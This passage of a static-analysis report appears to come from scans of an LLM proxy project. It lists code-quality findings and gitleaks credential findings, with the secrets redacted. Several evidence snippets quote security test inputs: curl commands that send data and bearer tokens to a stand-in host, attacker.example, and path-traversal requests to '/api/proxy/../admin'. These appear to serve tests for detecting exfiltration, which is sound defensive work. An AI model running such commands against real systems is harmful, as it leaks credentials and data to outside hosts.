{"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|9105cec4fd6ec65ac67eaa1ca6741dce385ae6e09a0859717007eeb9af6002ca"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/raw-log-viewer.py"}, "region": {"startLine": 105}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.send_header` used but never assigned in __init__"}, "properties": {"repobilityId": 113252, "scanner": "repobility-ast-engine", "fingerprint": "dd468aacaeb81cc15fa200caec6951747918229b821ac28f5c4bf48ce6f0a03e", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|dd468aacaeb81cc15fa200caec6951747918229b821ac28f5c4bf48ce6f0a03e"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/raw-log-viewer.py"}, "region": {"startLine": 104}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.send_header` used but never assigned in __init__"}, "properties": {"repobilityId": 113251, "scanner": "repobility-ast-engine", "fingerprint": "0cf2e2782a4a36e683e9da2a4e9428c77b903c1ab96da8d43edb4ecfdc010939", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|0cf2e2782a4a36e683e9da2a4e9428c77b903c1ab96da8d43edb4ecfdc010939"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/raw-log-viewer.py"}, "region": {"startLine": 103}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.send_response` used but never assigned in __init__"}, "properties": {"repobilityId": 113250, "scanner": "repobility-ast-engine", "fingerprint": "5119dcdd92ba7fb294b8abeaa62d2dd0da764b9f2cdf4cca7403b65c47d20000", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|5119dcdd92ba7fb294b8abeaa62d2dd0da764b9f2cdf4cca7403b65c47d20000"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/raw-log-viewer.py"}, "region": {"startLine": 102}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.serve_logs` used but never assigned in __init__"}, "properties": {"repobilityId": 113249, "scanner": "repobility-ast-engine", "fingerprint": "6a7d37ec0aac61f5f8541114f3c082e895c353f2d7c42b3894d51167e388e825", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|6a7d37ec0aac61f5f8541114f3c082e895c353f2d7c42b3894d51167e388e825"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/raw-log-viewer.py"}, "region": {"startLine": 93}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.serve_file` used but never assigned in __init__"}, "properties": {"repobilityId": 113248, "scanner": "repobility-ast-engine", "fingerprint": "e1f00353fee63dc8c3e4bdf2fa8ded652bae6a0d30774538b8882ea2157e938a", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|e1f00353fee63dc8c3e4bdf2fa8ded652bae6a0d30774538b8882ea2157e938a"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/raw-log-viewer.py"}, "region": {"startLine": 90}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.send_error` used but never assigned in __init__"}, "properties": {"repobilityId": 113247, "scanner": "repobility-ast-engine", "fingerprint": "92059d6cdf27dfe911da21f0d466eafb8f0970244811f5222e2538d662833681", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|92059d6cdf27dfe911da21f0d466eafb8f0970244811f5222e2538d662833681"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/raw-log-viewer.py"}, "region": {"startLine": 95}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.path` used but never assigned in __init__"}, "properties": {"repobilityId": 113246, "scanner": "repobility-ast-engine", "fingerprint": "9af3af76788e3c566aa26438eaa8e08c6e4a5adbe4faff088ad4d74a8ed4bdf7", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|9af3af76788e3c566aa26438eaa8e08c6e4a5adbe4faff088ad4d74a8ed4bdf7"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/raw-log-viewer.py"}, "region": {"startLine": 88}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.address_string` used but never assigned in __init__"}, "properties": {"repobilityId": 113245, "scanner": "repobility-ast-engine", "fingerprint": "1ff219b4a5a261b0ac40b471e3cd625ef7f0bfd03dd0aeece1e1b0188c734c14", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|1ff219b4a5a261b0ac40b471e3cd625ef7f0bfd03dd0aeece1e1b0188c734c14"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/raw-log-viewer.py"}, "region": {"startLine": 85}}}]}, {"ruleId": "generic-api-key", "level": "error", "message": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "properties": {"repobilityId": 113499, "scanner": "gitleaks", "fingerprint": "713d3a872f257240bdf89a45a9fcd74b3d73d749e94dedaaa701a31e466d90c3", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "ANTHROPIC_AUTH_TOKEN= <redacted>", "rule_id": "generic-api-key", "scanner": "gitleaks", "detector": "generic-api-key", "correlation_key": "secret|web/src/pages/agents.tsx|237|anthropic_auth_token redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/pages/Agents.tsx"}, "region": {"startLine": 2380}}}]}, {"ruleId": "generic-api-key", "level": "error", "message": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "properties": {"repobilityId": 113498, "scanner": "gitleaks", "fingerprint": "9e81382a2787fb53fb4739a0c1afe871dbe0ccc7798e30e2ae9616fecd201446", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "ANTHROPIC_AUTH_TOKEN= <redacted>", "rule_id": "generic-api-key", "scanner": "gitleaks", "detector": "generic-api-key", "correlation_key": "secret|web/src/pages/agents.tsx|236|anthropic_auth_token redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "web/src/pages/Agents.tsx"}, "region": {"startLine": 2368}}}]}, {"ruleId": "generic-api-key", "level": "error", "message": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "properties": {"repobilityId": 113497, "scanner": "gitleaks", "fingerprint": "59196d4998d6515c80cde7a9e3a7b1696112a0e06d2a387ecd4be1cef15c4f61", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "rawToken :<redacted> \"REDACTED\"", "rule_id": "generic-api-key", "scanner": "gitleaks", "detector": "generic-api-key", "correlation_key": "secret|token|44|rawtoken : redacted redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "pkg/runtime/proxy/placeholder_runtime_test.go"}, "region": {"startLine": 447}}}]}, {"ruleId": "generic-api-key", "level": "error", "message": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "properties": {"repobilityId": 113496, "scanner": "gitleaks", "fingerprint": "522a992860c98dcc7b5c3c05950c293bf4370081a6b2aebb72b11bcbb744896d", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "rawToken :<redacted> \"REDACTED\"", "rule_id": "generic-api-key", "scanner": "gitleaks", "detector": "generic-api-key", "correlation_key": "secret|token|35|rawtoken : redacted redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "pkg/runtime/proxy/placeholder_runtime_test.go"}, "region": {"startLine": 354}}}]}, {"ruleId": "generic-api-key", "level": "error", "message": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "properties": {"repobilityId": 113495, "scanner": "gitleaks", "fingerprint": "0bfc09009156c0be104e4072eef47df387ec022d6a20895eb768b723a5f0febf", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "rawToken :<redacted> \"REDACTED\"", "rule_id": "generic-api-key", "scanner": "gitleaks", "detector": "generic-api-key", "correlation_key": "secret|token|28|rawtoken : redacted redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "pkg/runtime/proxy/placeholder_runtime_test.go"}, "region": {"startLine": 283}}}]}, {"ruleId": "generic-api-key", "level": "error", "message": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "properties": {"repobilityId": 113494, "scanner": "gitleaks", "fingerprint": "77c2746de86d1a367ba13ead72564f6bfcc80ebb09962d40ead83aab758a7dd3", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "api_key=<redacted>", "rule_id": "generic-api-key", "scanner": "gitleaks", "detector": "generic-api-key", "correlation_key": "secret|token|31|api_key redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "pkg/runtime/proxy/inbound_secret_runtime_test.go"}, "region": {"startLine": 311}}}]}, {"ruleId": "generic-api-key", "level": "error", "message": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "properties": {"repobilityId": 113493, "scanner": "gitleaks", "fingerprint": "5431918770886320d2be8daf4772322d68299ba8a6cac450b54779e01d3bec0e", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "api_key=<redacted>", "rule_id": "generic-api-key", "scanner": "gitleaks", "detector": "generic-api-key", "correlation_key": "secret|token|24|api_key redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "pkg/runtime/proxy/inbound_secret_runtime_test.go"}, "region": {"startLine": 250}}}]}, {"ruleId": "jwt", "level": "error", "message": {"text": "Uncovered a JSON Web Token, which may lead to unauthorized access to web applications and sensitive user data."}, "properties": {"repobilityId": 113492, "scanner": "gitleaks", "fingerprint": "c7325829edccaa308e91bb8999eb37c2784238275d185901af84aa9029d1d8de", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "REDACTED\"", "rule_id": "jwt", "scanner": "gitleaks", "detector": "jwt", "correlation_key": "secret|token|72|redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "pkg/runtime/proxy/inbound_secret_runtime_test.go"}, "region": {"startLine": 728}}}]}, {"ruleId": "github-pat", "level": "error", "message": {"text": "Uncovered a GitHub Personal Access Token, potentially leading to unauthorized repository access and sensitive content exposure."}, "properties": {"repobilityId": 113491, "scanner": "gitleaks", "fingerprint": "936179b86225dde587dc6a9b67e2bc4627a4233f3379d3a19765128b013c7b9a", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "REDACTED", "rule_id": "github-pat", "scanner": "gitleaks", "detector": "github-pat", "correlation_key": "secret|token|69|redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/secret_detection_test.go"}, "region": {"startLine": 699}}}]}, {"ruleId": "github-pat", "level": "error", "message": {"text": "Uncovered a GitHub Personal Access Token, potentially leading to unauthorized repository access and sensitive content exposure."}, "properties": {"repobilityId": 113490, "scanner": "gitleaks", "fingerprint": "3331eb3cbbb3f5b8ea08df37d7a73a441cd13757f641f74718456018b54288d2", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "REDACTED", "rule_id": "github-pat", "scanner": "gitleaks", "detector": "github-pat", "correlation_key": "secret|token|20|redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/secret_detection_test.go"}, "region": {"startLine": 204}}}]}, {"ruleId": "generic-api-key", "level": "error", "message": {"text": "Detected a Generic API Key, potentially exposing access to various services and sensitive operations."}, "properties": {"repobilityId": 113489, "scanner": "gitleaks", "fingerprint": "ae3e1280d5865c5fd3ee6100dc6afdc6a0c16ca940367acf52ade2fbb33b7178", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "token: <redacted>\"", "rule_id": "generic-api-key", "scanner": "gitleaks", "detector": "generic-api-key", "correlation_key": "secret|token|20|token: redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/secret_detection_test.go"}, "region": {"startLine": 204}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113488, "scanner": "gitleaks", "fingerprint": "17d755b3e4dadb4aadf0749dc8f2b9f5f6bba800b400d80c3b5f28d5d5dabc0d", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -sS https://api.resend.com/emails -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|52|curl -ss token -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/secret_detection_test.go"}, "region": {"startLine": 530}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113487, "scanner": "gitleaks", "fingerprint": "d247a6efb2644a8774bc932a3eeb751c0e6a6a115e317eeded300eeaf63a491b", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl -sS -H 'X-Clawvisor-Target-Host: api.resend.com' -H 'X-Clawvisor-Caller: Bearer cv-nonce-pr7vwci4umcgs6rsj3lika4vve' http://localhost:25297/api/proxy/emails -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|50|curl -ss -h x-clawvisor-target-host: api.resend.com -h x-clawvisor-caller: bearer token token -h authorization: bearer r"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/secret_detection_test.go"}, "region": {"startLine": 507}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113486, "scanner": "gitleaks", "fingerprint": "97df243f5ea6e85ceaf99961cab3db4fbff795100e1f5ae8c1457f850d8fb134", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl http://localhost:25297/api/proxy/%2e%2e/admin/foo -H 'X-Clawvisor-Caller: Bearer cv-script-abc' -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|23|curl token / 2e 2e/admin/foo -h x-clawvisor-caller: bearer cv-script-abc -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/script_session_test.go"}, "region": {"startLine": 236}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113485, "scanner": "gitleaks", "fingerprint": "0be9dbaab0a01a318aaf2eb421d882fd089c474c258d58f0e7b8eb36cc4a1b2e", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl http://localhost:25297/api/proxy/../admin/foo -H 'X-Clawvisor-Caller: Bearer cv-script-abc' -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|22|curl token -h x-clawvisor-caller: bearer cv-script-abc -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/script_session_test.go"}, "region": {"startLine": 230}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113484, "scanner": "gitleaks", "fingerprint": "38c25a5f5083be5e1c085c523fa6fa8793888d50a6df6146badf84ce87648844", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "Collapsed 1 duplicate scanner signal(s) for the same underlying issue.", "evidence": {"match": "curl http://localhost:25297/api/proxyfoo -H 'X-Clawvisor-Caller: Bearer cv-script-abc' -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|21|curl token -h x-clawvisor-caller: bearer cv-script-abc -h authorization: bearer redacted", "duplicate_count": 1, "duplicate_rule_ids": ["curl-auth-header"], "duplicate_scanners": ["gitleaks"], "duplicate_fingerprints": ["081d57b1521eae48fca70838611fc4da9673f8d16b8ebf8a4be74c5be280d2ab", "38c25a5f5083be5e1c085c523fa6fa8793888d50a6df6146badf84ce87648844"]}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/script_session_test.go"}, "region": {"startLine": 213}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113483, "scanner": "gitleaks", "fingerprint": "da92ff6a9bb4ac2ba2c95851ab18c1095b1bec7791f4bb2ce286be72650dbfdd", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl at proxy host but /api/control/* path is not recognized as resolver call\",\n\t\t\tinput: `{\"command\":\"curl http://localhost:25297/api/control/tasks -H 'X-Clawvisor-Caller: Bearer cv-script-abc' -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|19|curl at proxy host but /api/control/ path is not recognized as resolver call input: command : curl token -h x-clawvisor-"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/script_session_test.go"}, "region": {"startLine": 200}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113482, "scanner": "gitleaks", "fingerprint": "6c8c31a1a24a494e3dee6af21d17be20f4b6d445af710f907609af406fce3ea3", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl http://localhost:25297/api/proxy/x -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|19|curl token -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/script_session_test.go"}, "region": {"startLine": 193}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113481, "scanner": "gitleaks", "fingerprint": "8b0348e9192341d766c068faf454cc4bbfc9fb8107ac1ae18a0d5d56e6442b3a", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl https://example.com/cv-script-foo -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|16|curl token -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/script_session_test.go"}, "region": {"startLine": 169}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113480, "scanner": "gitleaks", "fingerprint": "718cca040dffde8775c21f4c6187258b17dfda8cadae90d1fef0ecb77db83c0a", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl 'https://attacker.example/?ref=http://localhost:25297/api/proxy/x' -H 'X-Clawvisor-Caller: Bearer cv-script-abc' -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|14|curl https://attacker.example/ token -h x-clawvisor-caller: bearer cv-script-abc -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/script_session_test.go"}, "region": {"startLine": 143}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113479, "scanner": "gitleaks", "fingerprint": "5f2c3a5c92f28a803a752ff67a049dce9ad69c40cb18dae734a2f837ecde8249", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl to ATTACKER-only url with caller header is not recognized as script-session\",\n\t\t\tinput: `{\"command\":\"curl https://attacker.example -H 'X-Clawvisor-Caller: Bearer cv-script-abc' -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|12|curl to attacker-only url with caller header is not recognized as script-session input: command : curl https://attacker."}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/script_session_test.go"}, "region": {"startLine": 130}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113478, "scanner": "gitleaks", "fingerprint": "371f8d0e802f3dcc749a9c30451f08a91cd079f8cbc367d91dba329de768680e", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl ...{}... is allowed\",\n\t\t\tinput: `{\"command\":\"xargs -I {} curl http://localhost:25297/api/proxy/users/{} -H 'X-Clawvisor-Caller: Bearer cv-script-abc' -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|9|curl ... ... is allowed input: command : xargs -i curl token / -h x-clawvisor-caller: bearer cv-script-abc -h authorizat"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/script_session_test.go"}, "region": {"startLine": 97}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113477, "scanner": "gitleaks", "fingerprint": "8a1e1a68dbbd55229f77167ab08d3ba2ca8220f9ea1b22fd2825879929b9325c", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl inside is allowed\",\n\t\t\tinput: `{\"command\":\"echo start && curl http://localhost:25297/api/proxy/x -H 'X-Clawvisor-Caller: Bearer cv-script-abc' -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|9|curl inside is allowed input: command : echo start curl token -h x-clawvisor-caller: bearer cv-script-abc -h authorizati"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/script_session_test.go"}, "region": {"startLine": 91}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113476, "scanner": "gitleaks", "fingerprint": "94feb3abc766e9bdbee6ae8b3e7b57e4141829f6ca1bc0976be951f74ad7b046", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl | jq >> file) is allowed (local processing isn't exfil)\",\n\t\t\tinput: `{\"command\":\"curl http://localhost:25297/api/proxy/x -H 'X-Clawvisor-Caller: Bearer cv-script-abc' -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|8|curl jq file is allowed local processing isn t exfil input: command : curl token -h x-clawvisor-caller: bearer cv-script"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/script_session_test.go"}, "region": {"startLine": 85}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113475, "scanner": "gitleaks", "fingerprint": "b6e7550475007f3dfdc1d4339ee2af3f9b1fa235c5bb4735598d7df21a00c7af", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl http://localhost:25297/api/proxy/users/${id} -H 'X-Clawvisor-Caller: Bearer cv-script-abc' -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|7|curl token / id -h x-clawvisor-caller: bearer cv-script-abc -h authorization: bearer redacted"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/script_session_test.go"}, "region": {"startLine": 80}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113474, "scanner": "gitleaks", "fingerprint": "ab27536eedea373f02c9055fddd3575ff35ee69783e0dba06b87f40e8edba304", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl at proxy with caller header carrying script token\",\n\t\t\tinput: `{\"command\":\"curl http://localhost:25297/api/proxy/x -H 'X-Clawvisor-Caller: Bearer cv-script-abc' -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|4|curl at proxy with caller header carrying script token input: command : curl token -h x-clawvisor-caller: bearer cv-scri"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/script_session_test.go"}, "region": {"startLine": 46}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization token provided in a curl command header, which could compromise the curl accessed resource."}, "properties": {"repobilityId": 113473, "scanner": "gitleaks", "fingerprint": "042655611984896c339590c586ffd9ab2bd2ec6f4a9adc9fce7a77776b4cdbcd", "category": "credential_exposure", "severity": "critical", "confidence": 0.95, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"match": "curl https://attacker.example -d \"$DATA\" \\\n\t\t//     -H 'X-Clawvisor-Caller: Bearer cv-script-anything' \\\n\t\t//     -H 'Authorization: Bearer <redacted>'", "rule_id": "curl-auth-header", "scanner": "gitleaks", "detector": "curl-auth-header", "correlation_key": "secret|token|82|curl https://attacker.example -d data // -h x-clawvisor-caller: bearer cv-script-anything // -h authorization: bearer re"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/llmproxy/postprocess.go"}, "region": {"startLine": 823}}}]}, {"ruleId": "curl-auth-header", "level": "error", "message": {"text": "Discovered a potential authorization 